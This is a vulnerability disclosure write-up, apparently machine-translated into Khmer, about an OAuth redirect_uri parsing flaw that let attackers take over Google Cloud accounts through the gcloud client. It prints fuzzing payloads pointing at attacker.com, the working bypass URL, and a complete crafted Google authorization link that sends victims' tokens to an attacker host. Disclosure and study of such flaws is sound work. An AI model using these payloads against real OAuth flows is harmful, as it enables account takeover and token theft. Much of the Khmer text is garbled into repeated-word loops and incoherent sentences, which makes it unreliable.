TL;DR
អេឡិចត្រូនិសៀវភៅនេះបានដំណើរការតាមរយៈការបញ្ចូលគណនី OAuth ដែលខ្ញុំបានរកឃើញចុងក្រោយដែលមានប្រសិទ្ធភាពដល់សេវាកម្មមួយចំនួនរបស់ Google ។ វាត្រូវបានបង្កើតឡើងពីការបញ្ជាក់ URL នៅពេលដំណើរការredirect_uri
ទំហំ OAuth នេះអនុញ្ញាតឱ្យអ្នកប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំង។
Note:ការផ្លាស់ប្តូរនៃផ្នែកដំបូងនេះរួមបញ្ចូលទាំងការផ្លាស់ប្តូរទូទៅអំពី OAuth, ការបាត់បន្ថយ token, និងការបាត់បន្ថយ URL ។ ប្រសិនបើអ្នកមានបទពិសោធន៍ជាមួយគំនិតទាំងនេះហើយអ្នកគួរឱ្យចាប់អារម្មណ៍ក្នុងការបាត់បន្ថយការផ្លាស់ប្តូរSection 5: Google Cloud Account Takeover Case.
1 ការបង្កើត
OAuth 2.0 អនុញ្ញាតឱ្យកម្មវិធីទូទាំងបីដើម្បីចូលទៅក្នុងទិន្នន័យអ្នកប្រើដោយគ្មានការដំណើរការគោលបំណងដោយផ្ទាល់ដោយមានសេវាកម្មអនុញ្ញាត (ដូចជា Google) បានបង្កើត token ដែលត្រូវបានប្រើដោយកម្មវិធីទូទាំងបីដើម្បីស្វែងរកទិន្នន័យអ្នកប្រើឬធ្វើតេស្តជាគោលបំណងរបស់ពួកគេ។
ប៉ុន្តែ ប្រសិនបើredirect_uri
ទំហំនេះមិនត្រូវបានត្រួតពិនិត្យដោយការត្រួតពិនិត្យដោយការត្រួតពិនិត្យបច្ចុប្បន្ន។ អ្នកជោគជ័យអាចធ្វើឱ្យប្រាកដថាជាកម្មវិធីដែលមានឥតគិតថ្លៃនិងបាត់បង់អ្នកប្រើប្រាស់ក្នុងការបាត់បង់ tokens ការចូលរបស់ពួកគេ។
ក្នុងអត្ថបទនេះខ្ញុំនឹងដោះស្រាយអំពីរបៀបដែលខុសគ្នានៃការដោះស្រាយ URL ខុសគ្នានឹងអនុញ្ញាតឱ្យខ្ញុំធ្វើដូច្នេះ - នៅលើសេវាកម្មផ្សេងទៀតរបស់ Google - ជាមួយនឹងការដោះស្រាយទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលាយរបស់ Google Cloud ។
អ្វីដែល OAuth ធ្វើការ
ខណៈពេលដែល OAuth គឺជាប្រព័ន្ធប្រតិបត្តិការដែលមានភាពងាយស្រួលណាស់ដែលតម្រូវឱ្យជាប្រភេទនៃអត្ថបទដើម្បីទទួលបានអត្ថប្រយោជន៍ពេញលេញ, នៅទីនេះគឺជាការពិនិត្យឡើងវិញដែលមានភាពងាយស្រួល:
-
Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).
-
Redirect with Grant: After approval, the server redirects the user back to a predefined
redirect_uri
with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). -
Request user data: The client app uses the token to access the user’s protected data from the resource server.
ដើម្បីធ្វើឱ្យប្រសិនបើអ្វីបានជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយប្រសិនបើវាជាការចែកចាយ
Note:ក្នុងករណីជាច្រើនអ្នកផ្គត់ផ្គង់សេវាកម្មនិងអ្នកផ្គត់ផ្គង់សេវាកម្មគឺដូចគ្នា។
លក្ខណៈពិសេស OAuth Token Leakage
ប្រសិនបើអ្នកមើលដំណាក់កាលខាងលើ, ការផ្លាស់ប្តូរដែលមានភាពងាយស្រួលបំផុតគឺដំណាក់កាល 5 ដែលជាដំណាក់កាលដែលអ្នកផ្គត់ផ្គង់ការអនុញ្ញាតផ្គត់ផ្គង់ផ្គង់ផ្គត់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់ផ្គង់redirect_uri
សូមដឹងពីរបៀបដើម្បីផ្លាស់ប្តូរ token ។
ប្រសិនបើទំហំនេះមិនត្រូវបានត្រួតពិនិត្យយ៉ាងត្រឹមត្រូវ, អ្នកប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំងនឹងការប្រឆាំង។
ជាទូទៅredirect_uri
វាត្រូវបានត្រួតពិនិត្យឡើងវិញទៅជាទំហំមួយ – អ្នកមិនអាចបាត់បង់ URL ទាំងអស់នៅលើបណ្តាញត្រួតពិនិត្យឡើងវិញ។ ទោះបីជាយ៉ាងណាក៏ដោយវិធីសាស្រ្តត្រួតពិនិត្យអាចផ្លាស់ប្តូរតាមរយៈការអនុវត្តដោយផ្អែកលើតម្រូវការរបស់អាជីវកម្មហើយការបាត់បង់នៅក្នុងដំណើរការនេះអាចត្រូវបានប្រើប្រាស់។
មួយចំនួននៃគំរូដែលធម្មតា:
- Strict Matching: ការប្រកួតប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែងប្រជែង URI ។
- គោលបំណងនៃការអនុញ្ញាតឱ្យ URIs ដូចជា https://example.com/* ឬ https://*.example.com ។
- អាសយដ្ឋាន Loopback: ជាទូទៅនៅក្នុងកម្មវិធីកុំព្យូទ័រដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយដែលជាផ្នែកមួយ។
លក្ខណៈពិសេសនៃ URL Parsing Confusion
ដោយសារតែមូលនិធិ 3986ទូទៅ URL ដែលមានរចនាសម្ព័ន្ធដូចខាងក្រោម
scheme://username:password@host:port/path?query#fragment
ទាំងអស់គ្នានេះមានលក្ខណៈពិសេសមួយ:
-
scheme
: in web context it’s usually the protocol (e.g., http) -
username:password
: user credentials -
host
: the domain or IP address (e.g., google.com) -
port
: optional port number (e.g., 443) -
path
: the specific resource or endpoint (e.g., /login) -
query
: key-value pairs of parameters -
fragment
: a client side page reference
Note: host:port
វាត្រូវបានផ្លាស់ប្តូរជាauthority, username:password
ពួកគេបាននិយាយថាជាuserinfo
នៅពេលដំបូងវាអាចមើលឃើញយ៉ាងងាយស្រួលដូច្នេះទេប៉ុន្តែការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀបខុសគ្នានៃការប្រៀបធៀប។
អ្នកផ្គត់ផ្គង់អាចគិតថាតើ URL ដែលត្រូវបានដំណោះស្រាយនៅក្នុងវិធីដែលមានប្រសិទ្ធិភាពទូទៅនៅក្នុងសៀវភៅទាំងអស់ទេប៉ុន្តែការស្រាវជ្រាវទូលំទូលាយអំពី URL parsers បានបង្ហាញពីការប្រែប្រែប្រួលទាំងអស់។ នេះបានក្លាយជាការសុវត្ថិភាពពិតប្រាកដនៅក្នុងបញ្ហាដែលមានសុវត្ថិភាពដូចជា:
-
OAuth redirect URI validation
-
SSRF prevention
-
Proxy or CDN routing
ខាងក្រោមនេះគឺជាឧទាហរណ៍ដែល URL មួយតែមួយត្រូវបានព្យាបាលដោយផ្សេងគ្នានៅលើបី parsers ផ្សេងៗ។
ទោះបីជាអត្ថបទនេះមិនមែនជាការទាញយកអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតអ៊ីនធឺណិតA New Era of SSRF — ការប្រើប្រាស់ URL Parser នៅក្នុងភាសាកម្មវិធីបណ្តុះបណ្តាល
ទិន្នន័យ Google Cloud Account Takeover
ប្រសិនបើអ្នកបានប្រើ Google Cloud មុនពេលនេះអ្នកអាចរកឃើញgcloud
ឧបករណ៍ CLI — ឧបករណ៍បន្ទាត់គោលបំណងដែលមានប្រសិទ្ធិភាពដែលត្រូវបានប្រើដើម្បីគ្រប់គ្រងឧបករណ៍ Google Cloud ។ លើសពីលក្ខណៈពិសេសផ្សេងទៀតវាអនុញ្ញាតឱ្យអ្នកប្រើដើម្បីអនុញ្ញាតឱ្យអ្នកត្រួតពិនិត្យដោយប្រើគណនី Google របស់ពួកគេតាមរយៈដំណើរការ OAuth ដែលមានមូលដ្ឋានលើបណ្តាញ។
នេះគឺដូច្នេះវាធ្វើការ:
-
The user runs
gcloud auth login
-
gcloud
spawns a local http server on a dynamic port (e.g., http://localhost:50000) -
gcloud
opens a browser window directing the user to a Google OAuth authorization URL withredirect_uri
set to the local server address -
The user authenticates and consents to the requested scopes
-
Google redirects the user to
redirect_uri
containing the authorization code -
gcloud
exchanges the authorization code for an access token -
gcloud
uses the access token to perform actions on the user’s Google cloud account
សម្រាប់ដំណើរការនេះដើម្បីធ្វើការ, Google អនុញ្ញាតឱ្យ URLs loopback មួយចំនួន (ដូចជា http://localhost) សម្រាប់កម្មវិធីដើម, ដូច្នេះពួកគេត្រូវបានគេស្គាល់ថាមានសុវត្ថិភាពសម្រាប់ការប្រើប្រាស់ផ្ទាល់ខ្លួនហើយត្រូវបានគេស្គាល់ដោយផ្ទាល់ខ្លួន។
A. ការយល់ដឹងអំពីផ្ទៃការជោគជ័យ
បន្ទាប់ពីបានឃើញ alocalhost
ការប្រើប្រាស់ជាredirect_uri
សកម្មភាពដំបូងរបស់ខ្ញុំគឺដើម្បីផ្លាស់ប្តូរវាដោយ127.0.0.1
និង[::1]
នេះគឺជាដំណោះស្រាយសំខាន់ដូច្នេះវាបានបញ្ជាក់ថាតើ URLs គឺជាការពិតប្រាកដដែលត្រូវបានពិនិត្យឡើងវិញនិងប្រៀបធៀបដោយផ្ទាល់ខ្លួនហើយមិនមានការត្រួតពិនិត្យជាមូលដ្ឋានដូចជា:
if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
return False
ដូច្នេះនៅទីនេះយើងមានដំណើរការទាំងពីរអ្វីដែលមានសំខាន់:
-
The provided
redirect_uri
gets parsed and validated internally by Google’s backend. -
After a successful login and user consent, users get redirected to
redirect_uri
in the browser.
នេះមានន័យថាយើងមាន URL parsers មួយដែលត្រូវបានប្រើដោយ backend របស់ Google និង parser ដែលត្រូវបានប្រើដោយ browser របស់យើង (Chrome ក្នុងករណីរបស់ខ្ញុំ) ដូច្នេះប៉ុន្តែប្រសិនបើទាំងពីរ parsers នេះគឺដូចគ្នានេះមិនអាចត្រូវបានប្រើប្រាស់ដើម្បីទទួលបានការអនុញ្ញាត OAuth ទៅលើបណ្តាញដែលត្រូវបានគ្រប់គ្រងដោយអ្នកជោគជ័យ។
គោលបំណងនេះគឺយ៉ាងច្បាស់ហើយយើងត្រូវការរចនា URL ដែលនឹងត្រូវបានដំឡើងដោយប្រភេទផ្សេងគ្នានៅក្នុងរយៈពេល ២ វិនាទីក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី ក្នុងរយៈពេល ២ វិនាទី។
ទោះជាយ៉ាងណាក៏ដោយយើងមានបទពិសោធយ៉ាងតឹងមាំអំពី backend របស់ Google និងសៀវភៅដែលពួកគេកំពុងប្រើសម្រាប់ URLs ដែលពួកគេកំពុងប្រើសម្រាប់។
B. Fuzzing សម្រាប់ការឈ្នះ
អ្វីដែលខ្ញុំបានធ្វើបន្ទាប់នេះគឺជាការសរសេរសៀវភៅ Python ដែលនឹងផ្លាស់ប្តូរ URLs ផ្សេងៗដោយអនុវត្តបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តុះបណ្តាល។
- ទិន្នន័យនៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូលគ្នានៃការបញ្ចូល។
- អាសយដ្ឋាន IP របស់អ្នក: 10.0.0.5, 192.168.5.3, 127.10.0.1
- ប្រព័ន្ធ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ ប្រតិបត្តិការ
- ការប្រឆាំងនឹង CRLF: %0D%0A
- ទិន្នន័យគ្រប់គ្រងរបស់អ្នក: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
- អាសយដ្ឋានអាសយដ្ឋានអាសយដ្ឋានអាសយដ្ឋាន: http://AAAAAA...@127.0.0.1
- លទ្ធផលនៃ DNS: 127.0.0.1.attacker.com
- អាសយដ្ឋានអាសយដ្ឋាន: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
- គម្រោង / ការដោះស្រាយ Fragment: Inject extra ? , & ឬ # មុន / បន្ទាប់ @
- ការ rebinding DNS (ការធ្វើតេស្តដោយផ្ទាល់)
បន្ទាប់ពីដំណើរការសៀវភៅសម្រាប់រយៈពេលមួយពេលហើយដល់ការគួរឱ្យចាប់អារម្មណ៍របស់ខ្ញុំ, មួយនៃការបញ្ហានេះដែលបានបង្កើតបានបានជោគជ័យដើម្បីកាត់បន្ថយការគួរឱ្យចាប់អារម្មណ៍ដែលខ្ញុំកំពុងស្វែងរក, ឆ្លើយតបរបស់ខ្ញុំគឺដូចខាងក្រោម:
ទោះជាយ៉ាងណាក៏ដោយប្រសិនបើអ្នកបានរកឃើញប្រសិនបើអ្នកបានរកឃើញប្រសិនបើអ្នកបានរកឃើញ:
http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/
ដែលអាចត្រូវបានកាត់បន្ថយទៅ:
http://[::1]@[::1]@attacker.com/
ប្រសិនបើអ្នកកំពុងធ្វើការសាកល្បង URL នេះដោយប្រើ Chrome, យើងទទួលបានលទ្ធផលដូចខាងក្រោម:
ជាផ្នែកដ៏អស្ចារ្យនៃhttp://[::1]@[::1]@attacker.com/
នេះគឺជា URL ដែលមានលក្ខណៈពិសេសដើម្បីចាប់ផ្តើម។@
គំនិតនេះត្រូវបានរក្សាទុកដើម្បីផ្លាស់ប្តូរuserinfo
ពីការhostname
Chrome អនុញ្ញាតឱ្យកាត់បន្ថយការកាត់បន្ថយនេះដោយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយការកាត់បន្ថយ@
ដូច្នេះប្រសិនបើអ្នកធ្វើដូចម្តេចដើម្បីធ្វើឱ្យប្រសិនបើអ្វីគ្រប់យ៉ាង@
នៅពេលដែលចុងក្រោយនេះគឺជា URL-coded ។
ដោយផ្អែកលើការធ្វើតេស្តពិសោធន៍ជាមួយនឹងការផ្លាស់ប្តូរប្រសិទ្ធិភាព, វាត្រូវបានបង្ហាញថាតើ Google របស់ backend parser មិនបានកូដប្រសិទ្ធិភាពប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រសិនបើប្រស@
ដូចគ្នានេះជាការផ្លាស់ប្តូរ។ បន្ទាប់ពីផ្លាស់ប្តូរ@
ទោះជាយ៉ាងណាក៏ដោយក្រុមហ៊ុន Parser បានបង្ហាញពីuserinfo
និងhostname
ពីទីតាំងស្ថិតយ៉ាងច្បាស់លាស់ដោយការបាត់បង់ការបាត់បង់ច្បាស់លាស់attacker.com
.
វាគឺជាការគួរឱ្យចាប់អារម្មណ៍ក្នុងការប្រើប្រាស់ IPv6 ។ នៅពេលប្រើ IPv4 ។http://127.0.0.1@127.0.0.1@attacker.com
) វាត្រូវបានធ្វើការដូចគ្នានៅពេលដែលវាត្រូវបានគេស្គាល់ថាការមិនសម្តែងនេះគឺមានលក្ខណៈពិសេសសម្រាប់លក្ខណៈពិសេស IPv6 ។
C. ទាញយកទាំងអស់គ្នា
ឥឡូវនេះវេជ្ជសាស្រ្តរបស់យើងបានកំណត់យ៉ាងឆាប់រហ័ស, យើងអាចបង្ហាញgcloud
cli utility និង trick អ្នកប្រើប្រាស់ដើម្បីធ្វើឱ្យប្រាកដថាពួកគេបានធ្វើឱ្យប្រាកដទៅgcloud
.
ការដោះស្រាយនេះត្រូវបានដោះស្រាយដូចនេះ:
- គោលបំណងការអនុញ្ញាត OAuth ដែលមានប្រសិទ្ធិភាពនិងផ្ញើអ៊ីនធឺណិតរបស់វា (កូដប្លុកខាងក្រោម) ទៅដល់ភ្ញៀវ។
- ការទទួលបានការត្រួតពិនិត្យ OAuth សម្រាប់អតិថិជន Google Cloud SDK (រូបថត 9)
- អ្នកចូលរួមនិងទទួលបានអត្ថប្រយោជន៍ដែលបានចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចែកចាយចែកចែកចែកចែកចែកចាយ
- អ្នកទទួលបានការបង្វិលទៅកាន់ក្រុមហ៊ុនផ្គត់ផ្គង់ OAuth ដែលពួកគេបានបង្កើតឡើង
- យើងប្រើការអនុញ្ញាត OAuth ដើម្បីអនុវត្តការទូរស័ព្ទ API នៅលើគណនីរបស់អ្នកនៅក្នុងឈ្មោះរបស់អ្នក
https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256
ខាងក្រោមនេះគឺជារូបភាពនៃការហោះហោះហើរដែលបានផ្តល់ជូន
ពីគោលបំណងរបស់អ្នកប្រើប្រាស់វានឹងមើលឃើញថាវាជាការត្រួតពិនិត្យឡើងវិញទៅgcloud
ដូច្នេះប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានធ្វើការដោយប្រសិនបើអ្នកប្រើប្រាស់បានgcloud
ដូច្នេះយើងមានប្រសិទ្ធភាពក្នុងការបាត់បន្ថយការត្រួតពិនិត្យទាំងពីរផ្នែកក្នុងការគិតថាការត្រួតពិនិត្យនេះគឺជាដំណើរការត្រួតពិនិត្យដែលមានប្រសិទ្ធិភាពនៅពេលដែល token ការត្រួតពិនិត្យចុងក្រោយនេះត្រូវបានបាត់បន្ថយទៅក្នុងក្រុមហ៊ុនត្រួតពិនិត្យរបស់យើង។
គោលបំណងនេះនឹងផ្តល់ឱ្យយើងនូវការចូលដោយមិនត្រឹមត្រូវនៅលើទិន្នន័យនៃការទទួលបានអត្ថប្រយោជន៍របស់ពួកគេដោយអនុញ្ញាតឱ្យយើងអនុវត្តសកម្មភាពដែលមានគុណភាពខ្ពស់ផងដែរ។
អ្វីដែលបានធ្វើឱ្យការហោះហើរនេះមានភាពធ្ងន់ធ្ងរជាងនេះគឺ:
-
Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.
-
Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal
gcloud
application might request (we can only request scopes that are available but not actively requested)
ដូចដែលបាននិយាយនៅក្នុងការចាប់ផ្តើមនៃសៀវភៅនេះgcloud
នេះគឺជាកម្មវិធីមួយតែមួយដែលមានសុវត្ថិភាព, នៅខាងក្រោមនេះគឺជាកម្មវិធីផ្សេងទៀតដែលខ្ញុំបានរកឃើញថាមានសុវត្ថិភាពផងដែរ:
-
Google Drive Desktop Client
-
Firebase Desktop Client
-
Windows Mail (3rd-party app)
Google ឆ្លើយតបយ៉ាងឆាប់រហ័ស, បាននិយាយអំពីភាពធ្ងន់ធ្ងរក្នុងរយៈពេល 72 ម៉ោង, និងបានផ្តល់ប្រាក់រង្វាន់ភាពធ្ងន់ធ្ងរ។
6 ការបញ្ចប់
ការស្រាវជ្រាវនេះបង្ហាញពីរបៀបដែលអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិចត្រូនិអេឡិច
ទោះបីជាប្រព័ន្ធប្រតិបត្តិការ OAuth គឺជាប្រព័ន្ធប្រតិបត្តិការដែលមានល្បឿនលឿននិងមានការស្រាវជ្រាវល្អឥតខ្ចោះប្រព័ន្ធប្រតិបត្តិការ OAuth គឺជាប្រព័ន្ធប្រតិបត្តិការល្អឥតខ្ចោះដែលមានទំហំទូលំទូលាយនិងមានទំហំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូលំទូល
ក្រុមហ៊ុន Google បានកែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រែប្រ
សូមអរគុណចំពោះការអាន!